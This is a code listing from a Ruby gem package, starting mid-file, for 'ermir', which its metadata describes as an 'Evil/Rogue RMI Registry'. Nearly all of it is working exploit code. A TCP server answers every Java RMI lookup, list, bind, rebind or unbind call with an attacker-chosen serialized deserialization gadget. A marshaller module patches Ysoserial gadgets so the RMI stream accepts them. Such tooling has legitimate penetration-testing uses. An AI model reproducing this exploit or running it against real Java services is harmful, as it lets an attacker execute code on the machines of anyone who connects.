unless @socket.getbyte.eql?(TransportConstants::TC_STRING)
|
81
|
+
return "received a corrupted RMI message"
|
82
|
+
end
|
83
|
+
len = @socket.read(2).unpack("S>")[0]
|
84
|
+
lookup_key = @socket.read(len)
|
85
|
+
Utils.print_rmi_transport_msg("Ermir.lookup(#{lookup_key.inspect}) was called by the remote peer.", @peeraddr)
|
86
|
+
write_return_block
|
87
|
+
write_object
|
88
|
+
end
|
89
|
+
|
90
|
+
def handle_list
|
91
|
+
Utils.print_rmi_transport_msg("Ermir.list() was called by the remote peer.", @peeraddr)
|
92
|
+
write_return_block
|
93
|
+
write_object
|
94
|
+
end
|
95
|
+
|
96
|
+
def handle_bind(rebind: false)
|
97
|
+
unless @socket.getbyte.eql?(TransportConstants::TC_STRING)
|
98
|
+
return "received a corrupted RMI message" # first bind() arg is always TC_STRING
|
99
|
+
end
|
100
|
+
bind_key_size = @socket.read(2).unpack("S>")[0]
|
101
|
+
bind_key = @socket.read(bind_key_size)
|
102
|
+
if @socket.getbyte.eql?(TransportConstants::TC_OBJECT)
|
103
|
+
if @socket.getbyte.eql?(TransportConstants::TC_PROXYCLASSDESC)
|
104
|
+
interfaces_count = @socket.read(4).unpack("L>")[0]
|
105
|
+
implemented_interfaces = []
|
106
|
+
interfaces_count.times do
|
107
|
+
interface_name_size = @socket.read(2).unpack("S>")[0]
|
108
|
+
return "the received interface name length exceeds the max length" if interface_name_size > 100
|
109
|
+
implemented_interfaces << @socket.read(interface_name_size)
|
110
|
+
end
|
111
|
+
if implemented_interfaces[0] == "java.rmi.Remote"
|
112
|
+
Utils.print_rmi_transport_msg("Ermir.#{rebind && 're'}bind(#{bind_key.inspect}, new <class (?) implements #{implemented_interfaces[1]}>()) was called by the remote peer.", @peeraddr)
|
113
|
+
else
|
114
|
+
Utils.print_rmi_transport_msg("Ermir.#{rebind && 're'}bind(#{bind_key.inspect}, <java.lang.reflect.Proxy handling <#{implemented_interfaces*', '}> interfaces>) was called by the remote peer.", @peeraddr)
|
115
|
+
end
|
116
|
+
else
|
117
|
+
return "received a corrupted RMI message body"
|
118
|
+
end
|
119
|
+
end
|
120
|
+
write_return_block normal_return: false
|
121
|
+
write_object
|
122
|
+
end
|
123
|
+
|
124
|
+
def handle_rebind
|
125
|
+
handle_bind(rebind: true)
|
126
|
+
end
|
127
|
+
|
128
|
+
def handle_unbind
|
129
|
+
unless @socket.getbyte.eql?(TransportConstants::TC_STRING)
|
130
|
+
return "received a corrupted RMI message"
|
131
|
+
end
|
132
|
+
len = @socket.read(2).unpack("S>")[0]
|
133
|
+
unbind_key = @socket.read(len)
|
134
|
+
Utils.print_rmi_transport_msg("Ermir.unbind(#{unbind_key.inspect}) was called by the remote peer.", @peeraddr)
|
135
|
+
write_return_block(normal_return: false)
|
136
|
+
write_object
|
137
|
+
end
|
138
|
+
|
139
|
+
def write_return_block(normal_return: true)
|
140
|
+
block_size = 0xf
|
141
|
+
@socket.putc(TransportConstants::RETURN)
|
142
|
+
@socket.write([TransportConstants::OBJECT_STREAM_MAGIC].pack("L>"))
|
143
|
+
@socket.putc(TransportConstants::TC_BLOCKDATA)
|
144
|
+
@socket.putc(block_size)
|
145
|
+
@socket.putc(normal_return ? TransportConstants::NORMAL_RETURN : TransportConstants::EXCEPTIONAL_RETURN)
|
146
|
+
write_uid
|
147
|
+
end
|
148
|
+
|
149
|
+
def write_uid
|
150
|
+
@socket.write([Time.now.to_i].pack("L>"))
|
151
|
+
@socket.write([Time.now.to_i].pack("Q>"))
|
152
|
+
@count = (@count == 32_767) ? -32_768 : @count.next
|
153
|
+
@socket.write([@count].pack("S>"))
|
154
|
+
end
|
155
|
+
|
156
|
+
def write_object
|
157
|
+
# patch_gadget!
|
158
|
+
object = @gadget[4..]
|
159
|
+
@socket.write(object)
|
160
|
+
@socket.flush
|
161
|
+
Utils.print_rmi_transport_msg("sent the gadget to the remote peer.", @peeraddr)
|
162
|
+
end
|
163
|
+
end
|
164
|
+
end
|
@@ -0,0 +1,114 @@
|
|
1
|
+
require_relative 'transport_constants'
|
2
|
+
|
3
|
+
module Ermir
|
4
|
+
module GadgetMarshaller
|
5
|
+
# this is currently working for most of Ysoserial gadgets but it is not 100% reliable
|
6
|
+
# better use gadgetmarshal / GadgetMarshaller.java packaged with Ermir to rewrite the gadgets
|
7
|
+
# in case of custom gadgets use the internal MarshalOutputStream instead of ObjectOutputStream.
|
8
|
+
|
9
|
+
def patch_gadget!
|
10
|
+
@gadget_chunked = []
|
11
|
+
@gadget_bytes = @gadget.bytes
|
12
|
+
open = false
|
13
|
+
|
14
|
+
@gadget_bytes.each_with_index do |byte, idx|
|
15
|
+
if (byte == TransportConstants::TC_CLASSDESC || byte==TransportConstants::TC_PROXYCLASSDESC) && !open
|
16
|
+
open = true
|
17
|
+
@gadget_chunked << []
|
18
|
+
end
|
19
|
+
if byte == TransportConstants::TC_ENDBLOCKDATA && open
|
20
|
+
if (@gadget_bytes[idx...idx+2] == [TransportConstants::TC_ENDBLOCKDATA, TransportConstants::TC_NULL]) || @gadget_bytes[idx+1].between?(0x70, 0x7D)
|
21
|
+
open = false
|
22
|
+
end
|
23
|
+
end
|
24
|
+
if @gadget_chunked[-1].is_a?(Array) && open
|
25
|
+
@gadget_chunked[-1] << byte
|
26
|
+
else
|
27
|
+
@gadget_chunked << byte
|
28
|
+
end
|
29
|
+
end
|
30
|
+
|
31
|
+
if @gadget_chunked[-2..-1] == [TransportConstants::TC_ENDBLOCKDATA, TransportConstants::TC_NULL]
|
32
|
+
@gadget_chunked.insert(-3, TransportConstants::TC_NULL) if @gadget_chunked[-3] != TransportConstants::TC_NULL
|
33
|
+
end
|
34
|
+
|
35
|
+
get_previous_element = -> (i) {@gadget_chunked[i-1].is_a?(Array) ? @gadget_chunked[i-1][-1] : @gadget_chunked[i-1]}
|
36
|
+
|
37
|
+
@gadget_chunked.map!.with_index do |element, i|
|
38
|
+
if element.is_a?(Array)
|
39
|
+
if element[0] == TransportConstants::TC_CLASSDESC
|
40
|
+
if class_desc?(i)
|
41
|
+
patch_chunk(i)
|
42
|
+
else
|
43
|
+
element
|
44
|
+
end
|
45
|
+
elsif element[0] == TransportConstants::TC_PROXYCLASSDESC
|
46
|
+
if proxy_desc?(i)
|
47
|
+
patch_chunk(i)
|
48
|
+
else
|
49
|
+
element
|
50
|
+
end
|
51
|
+
else
|
52
|
+
element
|
53
|
+
end
|
54
|
+
else
|
55
|
+
if element == TransportConstants::TC_ENDBLOCKDATA && get_previous_element.(i) != TransportConstants::TC_NULL
|
56
|
+
if @gadget_chunked[i..].flatten[0..3] == [TransportConstants::TC_ENDBLOCKDATA, TransportConstants::TC_NULL, TransportConstants::TC_OBJECT, TransportConstants::TC_CLASSDESC] \
|
57
|
+
|| get_previous_element.(i) == 0x3B && @gadget_chunked[i..].flatten[0..1] == [TransportConstants::TC_ENDBLOCKDATA, TransportConstants::TC_NULL] \
|
58
|
+
|| get_previous_element.(i) == 0x0 && @gadget_chunked[i..].flatten[0..2] == [TransportConstants::TC_ENDBLOCKDATA, TransportConstants::TC_NULL, 0x0] \
|
59
|
+
|| @gadget_chunked[i..].flatten[0..2] == [TransportConstants::TC_ENDBLOCKDATA, TransportConstants::TC_CLASSDESC, 0x0]
|
60
|
+
[TransportConstants::TC_NULL, element]
|
61
|
+
else
|
62
|
+
element
|
63
|
+
end
|
64
|
+
else
|
65
|
+
element
|
66
|
+
end
|
67
|
+
end
|
68
|
+
end.flatten!
|
69
|
+
|
70
|
+
@outfile.write(@gadget_chunked.pack("C*")) if (defined?(@outfile) && @outfile && @outfile.is_a?(File))
|
71
|
+
@gadget = @gadget_chunked.pack("C*")
|
72
|
+
end
|
73
|
+
|
74
|
+
def class_desc?(idx)
|
75
|
+
pos = 0
|
76
|
+
chunk = @gadget_chunked[idx].pack("C*")
|
77
|
+
return false if chunk.size < 5
|
78
|
+
pos += 1
|
79
|
+
class_name_size = chunk[pos...pos+2].unpack("S>")[0]
|
80
|
+
pos += 2
|
81
|
+
return false if pos+class_name_size > chunk.size || class_name_size>100
|
82
|
+
class_name = chunk[pos...pos+class_name_size]
|
83
|
+
pos += class_name_size
|
84
|
+
return false if pos+1+8+2 > chunk.size
|
85
|
+
valid_class_name?(class_name)
|
86
|
+
end
|
87
|
+
|
88
|
+
def proxy_desc?(idx)
|
89
|
+
pos = 0
|
90
|
+
chunk = @gadget_chunked[idx].pack("C*")
|
91
|
+
return false if chunk.size < 5
|
92
|
+
pos += 1
|
93
|
+
interface_count = chunk[pos...pos+4].unpack("L>")[0]
|
94
|
+
return false if interface_count > 10
|
95
|
+
pos += 4
|
96
|
+
interface_count.times do
|
97
|
+
interface_name_size = chunk[pos...pos+2].unpack("S>")[0]
|
98
|
+
return false if pos+interface_name_size>chunk.size
|
99
|
+
pos += 2
|
100
|
+
interface_name = chunk[pos...pos+interface_name_size]
|
101
|
+
valid_class_name?(interface_name)
|
102
|
+
end
|
103
|
+
end
|
104
|
+
|
105
|
+
def valid_class_name?(class_name)
|
106
|
+
(class_name.count(".") > 1 && class_name.rpartition(".")[-1][0].match?(/[[:upper:]]/)) \
|
107
|
+
|| ([0x5B, 0x4C].include?(class_name[0].ord) && class_name[-1].ord == 0x3B)
|
108
|
+
end
|
109
|
+
|
110
|
+
def patch_chunk(i)
|
111
|
+
@gadget_chunked[i] << TransportConstants::TC_NULL
|
112
|
+
end
|
113
|
+
end
|
114
|
+
end
|
@@ -0,0 +1,66 @@
|
|
1
|
+
# frozen_string_literal: true
|
2
|
+
module Ermir
|
3
|
+
# from: sun.rmi.transport.TransportConstants.java
|
4
|
+
module TransportConstants
|
5
|
+
# Transport magic number: "JRMI"
|
6
|
+
MAGIC = 0x4a524d49
|
7
|
+
# Transport version number
|
8
|
+
VERSION = 2
|
9
|
+
|
10
|
+
# Connection uses stream protocol
|
11
|
+
STREAM_PROTOCOL = 0x4b
|
12
|
+
# Protocol for single operation per connection no ack required
|
13
|
+
SINGLE_OP_PROTOCOL = 0x4c
|
14
|
+
# Connection uses multiplex protocol
|
15
|
+
MULTIPLEX_PROTOCOL = 0x4d
|
16
|
+
|
17
|
+
# Ack for transport protocol
|
18
|
+
PROTOCOL_ACK = 0x4e
|
19
|
+
# Negative ack for transport protocol (protocol not supported)
|
20
|
+
PROTOCOL_NACK = 0x4f
|
21
|
+
|
22
|
+
# RMI call
|
23
|
+
CALL = 0x50
|
24
|
+
# RMI return
|
25
|
+
RETURN = 0x51
|
26
|
+
# Ping operation
|
27
|
+
PING = 0x52
|
28
|
+
# Acknowledgment for Ping operation
|
29
|
+
PING_ACK = 0x53
|
30
|
+
# Acknowledgment for distributed GC
|
31
|
+
DGC_ACK = 0x54
|
32
|
+
|
33
|
+
# Normal return (with or without return value)
|
34
|
+
NORMAL_RETURN = 0x01
|
35
|
+
# Exceptional return
|
36
|
+
EXCEPTIONAL_RETURN = 0x02
|
37
|
+
|
38
|
+
INTERFACE_STUB_HASH = 4905912898345647071
|
39
|
+
INTERFACE_SKEL_HASH = 4905912898345647071
|
40
|
+
|
41
|
+
OBJECT_STREAM_MAGIC = 0xACED0005
|
42
|
+
TC_BLOCKDATA = 0x77
|
43
|
+
TC_STRING = 0x74
|
44
|
+
TC_CLASSDESC = 0x72
|
45
|
+
TC_PROXYCLASSDESC = 0x7d
|
46
|
+
TC_ENDBLOCKDATA = 0x78
|
47
|
+
TC_NULL = 0x70
|
48
|
+
TC_REFERENCE = 0x71
|
49
|
+
TC_OBJECT = 0x73
|
50
|
+
TC_ARRAY = 0x75
|
51
|
+
TC_CLASS = 0x76
|
52
|
+
TC_RESET = 0x79
|
53
|
+
TC_BLOCKDATALONG = 0x7A
|
54
|
+
TC_EXCEPTION = 0x7B
|
55
|
+
TC_LONGSTRING = 0x7C
|
56
|
+
|
57
|
+
SC_WRITE_METHOD = 0x01
|
58
|
+
SC_BLOCK_DATA = 0x08
|
59
|
+
SC_SERIALIZABLE = 0x02
|
60
|
+
SC_EXTERNALIZABLE = 0x04
|
61
|
+
SC_ENUM = 0x10
|
62
|
+
|
63
|
+
|
64
|
+
OPS = {0 => "bind", 1 => "list", 2 => "lookup", 3 => "rebind", 4 => "unbind"}
|
65
|
+
end
|
66
|
+
end
|
data/lib/ermir/utils.rb
ADDED
@@ -0,0 +1,21 @@
|
|
1
|
+
require_relative 'transport_constants'
|
2
|
+
module Ermir
|
3
|
+
module Utils
|
4
|
+
module_function
|
5
|
+
def stream_header_valid?(stream)
|
6
|
+
stream[0..3].unpack("L>")[0].eql?(Ermir::TransportConstants::OBJECT_STREAM_MAGIC)
|
7
|
+
end
|
8
|
+
|
9
|
+
def error_and_abort!(error_msg, at, other_error_msg=nil)
|
10
|
+
msg = "Error [#{at}]: #{error_msg[-1].eql?(?.) ? error_msg[...-1] : error_msg}.".red
|
11
|
+
msg += "\n#{' '*4}|_ #{other_error_msg[-1].eql?(?.) ? other_error_msg[...-1] : other_error_msg}." if other_error_msg
|
12
|
+
abort(msg)
|
13
|
+
end
|
14
|
+
def print_time_msg(msg, color=nil)
|
15
|
+
puts "[#{Time.now.strftime('%I:%M:%S')}] #{msg}".public_send(color&.to_sym||:itself)
|
16
|
+
end
|
17
|
+
def print_rmi_transport_msg(msg, peeraddr, color=nil)
|
18
|
+
puts "[remote-peer-#{[peeraddr[-1], peeraddr[1]].join(':')}] #{msg}".public_send(color&.to_sym||:itself)
|
19
|
+
end
|
20
|
+
end
|
21
|
+
end
|
data/lib/ermir.rb
ADDED
@@ -0,0 +1,42 @@
|
|
1
|
+
require_relative 'ermir/argv_parser'
|
2
|
+
require_relative 'ermir/utils'
|
3
|
+
require_relative 'ermir/evil_registry'
|
4
|
+
require 'socket'
|
5
|
+
require 'colorize'
|
6
|
+
|
7
|
+
module Ermir
|
8
|
+
Signal.trap('INT') do
|
9
|
+
Ermir::Utils.print_time_msg("execution interrupted by the user, exiting..", :red)
|
10
|
+
exit 130
|
11
|
+
end
|
12
|
+
|
13
|
+
def self.run
|
14
|
+
host, port, gadget = ArgvParser.parse_argv!
|
15
|
+
begin
|
16
|
+
server = TCPServer.new(host, port)
|
17
|
+
Utils.print_time_msg("Ermir started listening for RMI calls at #{server.addr[-1]}:#{server.addr[1]}.", :light_yellow)
|
18
|
+
loop do
|
19
|
+
Thread.fork(server.accept) do |socket|
|
20
|
+
peer = [socket.peeraddr[-1], socket.peeraddr[1]]
|
21
|
+
Utils.print_time_msg("connection received from #{peer[0]}:#{peer[1]}.")
|
22
|
+
|
23
|
+
begin
|
24
|
+
registry = EvilRegistry.new(socket, gadget)
|
25
|
+
registry.handle_connection!
|
26
|
+
registry.close_connection!
|
27
|
+
rescue SystemCallError => e
|
28
|
+
Utils.error_and_abort!(e.to_s, "RMI Registry")
|
29
|
+
end
|
30
|
+
|
31
|
+
Utils.print_time_msg("closed the connection to #{peer[0]}:#{peer[1]}.")
|
32
|
+
end
|
33
|
+
end
|
34
|
+
rescue SystemCallError => e
|
35
|
+
if Errno.const_defined?(e.class.to_s.split("::").last || e.class.name)
|
36
|
+
Utils.error_and_abort!(e.to_s, "TCP Server Binding")
|
37
|
+
else
|
38
|
+
Utils.error_and_abort!("something went wrong.", "TCP Server Binding", e.to_s)
|
39
|
+
end
|
40
|
+
end
|
41
|
+
end
|
42
|
+
end
|
metadata
ADDED
@@ -0,0 +1,95 @@
|
|
1
|
+
--- !ruby/object:Gem::Specification
|
2
|
+
name: ermir
|
3
|
+
version: !ruby/object:Gem::Version
|
4
|
+
version: 0.1.0
|
5
|
+
platform: ruby
|
6
|
+
authors:
|
7
|
+
- hakivvi
|
8
|
+
autorequire:
|
9
|
+
bindir: bin
|
10
|
+
cert_chain: []
|
11
|
+
date: 2022-06-16 00:00:00.000000000 Z
|
12
|
+
dependencies:
|
13
|
+
- !ruby/object:Gem::Dependency
|
14
|
+
name: slop
|
15
|
+
requirement: !ruby/object:Gem::Requirement
|
16
|
+
requirements:
|
17
|
+
- - "~>"
|
18
|
+
- !ruby/object:Gem::Version
|
19
|
+
version: 4.9.2
|
20
|
+
type: :runtime
|
21
|
+
prerelease: false
|
22
|
+
version_requirements: !ruby/object:Gem::Requirement
|
23
|
+
requirements:
|
24
|
+
- - "~>"
|
25
|
+
- !ruby/object:Gem::Version
|
26
|
+
version: 4.9.2
|
27
|
+
- !ruby/object:Gem::Dependency
|
28
|
+
name: colorize
|
29
|
+
requirement: !ruby/object:Gem::Requirement
|
30
|
+
requirements:
|
31
|
+
- - "~>"
|
32
|
+
- !ruby/object:Gem::Version
|
33
|
+
version: 0.8.1
|
34
|
+
type: :runtime
|
35
|
+
prerelease: false
|
36
|
+
version_requirements: !ruby/object:Gem::Requirement
|
37
|
+
requirements:
|
38
|
+
- - "~>"
|
39
|
+
- !ruby/object:Gem::Version
|
40
|
+
version: 0.8.1
|
41
|
+
description: Ermir is an Evil/Rogue RMI Registry, it exploits unsecure deserialization
|
42
|
+
on any Java code calling standard RMI methods on it (list()/lookup()/bind()/rebind()/unbind()).
|
43
|
+
email: hakivvi@gmail.com
|
44
|
+
executables:
|
45
|
+
- ermir
|
46
|
+
- gadgetmarshal
|
47
|
+
extensions: []
|
48
|
+
extra_rdoc_files: []
|
49
|
+
files:
|
50
|
+
- ".rspec"
|
51
|
+
- CODE_OF_CONDUCT.md
|
52
|
+
- Gemfile
|
53
|
+
- Gemfile.lock
|
54
|
+
- LICENSE.txt
|
55
|
+
- README.md
|
56
|
+
- Rakefile
|
57
|
+
- bin/ermir
|
58
|
+
- bin/gadgetmarshal
|
59
|
+
- ermir.gemspec
|
60
|
+
- helpers/gadgetmarshaller/GadgetMarshaller.java
|
61
|
+
- lib/ermir.rb
|
62
|
+
- lib/ermir/argv_parser.rb
|
63
|
+
- lib/ermir/errors.rb
|
64
|
+
- lib/ermir/evil_registry.rb
|
65
|
+
- lib/ermir/gadget_marshaller.rb
|
66
|
+
- lib/ermir/transport_constants.rb
|
67
|
+
- lib/ermir/utils.rb
|
68
|
+
- lib/ermir/version.rb
|
69
|
+
homepage: https://github.com/hakivvi/ermir
|
70
|
+
licenses:
|
71
|
+
- MIT
|
72
|
+
metadata:
|
73
|
+
homepage_uri: https://github.com/hakivvi/ermir
|
74
|
+
source_code_uri: https://github.com/hakivvi/ermir
|
75
|
+
changelog_uri: https://github.com/hakivvi/ermir
|
76
|
+
post_install_message:
|
77
|
+
rdoc_options: []
|
78
|
+
require_paths:
|
79
|
+
- lib
|
80
|
+
required_ruby_version: !ruby/object:Gem::Requirement
|
81
|
+
requirements:
|
82
|
+
- - ">="
|
83
|
+
- !ruby/object:Gem::Version
|
84
|
+
version: 3.0.3
|
85
|
+
required_rubygems_version: !ruby/object:Gem::Requirement
|
86
|
+
requirements:
|
87
|
+
- - ">="
|
88
|
+
- !ruby/object:Gem::Version
|
89
|
+
version: '0'
|
90
|
+
requirements: []
|
91
|
+
rubygems_version: 3.3.6
|
92
|
+
signing_key:
|
93
|
+
specification_version: 4
|
94
|
+
summary: Ermir is an Evil RMI Registry.
|
95
|
+
test_files: []
|